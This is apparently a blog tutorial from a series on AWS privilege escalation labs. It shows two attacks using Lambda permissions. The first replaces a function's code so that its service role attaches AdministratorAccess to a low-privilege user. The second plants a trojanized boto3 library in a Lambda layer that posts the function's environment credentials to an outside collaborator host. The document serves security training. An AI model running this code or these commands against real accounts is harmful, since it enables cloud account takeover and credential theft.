Welcome back! Today it will be all about AWS Lambda! Get yourself a cup of coffee or a nice glass of wine and join me looking into privilege escalation attacks leveraging AWS Lambda.
If you just jumped into my series I recommend starting at the beginning:
- Part 1 (setup and privesc1-CreateNewPolicyVersion)
- Part 2 (privesc2-SetExistingDefaultPolicyVersion and privesc3-CreateEC2WithExistingIP)
- Part 3 (privesc4-CreateAccessKey, privesc5-CreateLoginProfile and privesc6-UpdateLoginProfile)
Let's get started!
Preparation
I wrote a quick Lambda function (exploit_me) just displaying "Hello World" to make debugging easier and attached the privesc-high-priv-service-role to it to add some action. Furthermore I also created a lowpriv user with 0 privileges to demonstrate exploitation is successful.
def lambda_handler(event, context):
print("Hello world")
Exploitation
The privesc17 policy only allows access to the following actions:
"lambda:UpdateFunctionCode"
"lambda:UpdateFunctionConfiguration"
We are allowed to change the Lambda function code, let's use exploit_me. The following code will attach the AdministratorAccess policy to our lowpriv user. This works due to the high-privileged service role that is attached to the Lambda function.
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(UserName='lowpriv',PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
return response
In order to replace the harmless "Hello World" code with our malicious exploit we have to create a ZIP file and upload the code:
zip function.zip lambda_function.py
aws lambda --profile privesc17 update-function-code --function-name exploit_me --zip-file fileb://function.zip --region eu-central-1
In a real-world scenario we would need to wait until somebody invokes the Lambda function, in this case we just trigger it ourselves on https://eu-central-1.console.aws.amazon.com/lambda/home?region=eu-central-1#/functions/exploit_me?tab=code by clicking on "Test".
Running aws iam --profile lowpriv list-users
proves our lowpriv user has now full access to the AWS account.
Alright! That was pretty cool but what if we don't have lambda:UpdateFunctionCode
but we have lambda:GetLayerVersion
, lambda:PublishLayerVersion
and lambda:UpdateFunctionConfiguration
? Then we should infect the Lambda Layer! What are Lambda Layers? The guys from Rhino dive into this here: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
Check out the AWS documentation:
https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html https://docs.aws.amazon.com/lambda/latest/dg/invocation-layers.html
Are you familiar with DLL hijacking and the Windows DLL search order? If so, the following won't surprise you. If you try to import a python library like boto3, Lambda will search the following locations until it finds it, starting from /var/task.
"/var/task",
"/opt/python/lib/python3.9/site-packages",
"/opt/python",
"/var/runtime",
"/var/lang/lib/python39.zip",
"/var/lang/lib/python3.9",
"/var/lang/lib/python3.9/lib-dynload",
"/var/lang/lib/python3.9/site-packages",
"/opt/python/lib/python3.9/site-packages"
The Lambda runtime already includes boto3 on /var/runtime/boto3, but that's the 4th position. Using Lambda layers we can get in right before that, using /opt/python. ;-)
Executing the following commands will download the boto3 library that we'll infect:
mkdir python
cd python
pip3 install -t . boto3==1.9.42
Edit boto3/__init__.py
to insert the following code that will exfiltrate the credentials:
try:
import os
from botocore.vendored import requests
requests.post('https://insert_your_own_instance_here.burpcollaborator.net',data=dict(os.environ), timeout=1)
except:
pass
Using the following two AWS commands you'll publish the malicious layer version and attach it to the Lambda function.
aws lambda --profile privesc17 publish-layer-version --layer-name backdoor --description "Backdoor" --license-info "MIT" --zip-file "fileb://python.zip" --compatible-runtimes python3.7 python3.8 python3.9 --region eu-central-1
aws lambda --profile privesc17 update-function-configuration --function-name exploit_me --layers arn:aws:lambda:eu-central-1:account_number:layer:backdoor:1 --region eu-central-1
Now invoke the function again and you'll receive the AWS credentials on your Burp Collaborator instance. Take over the AWS account!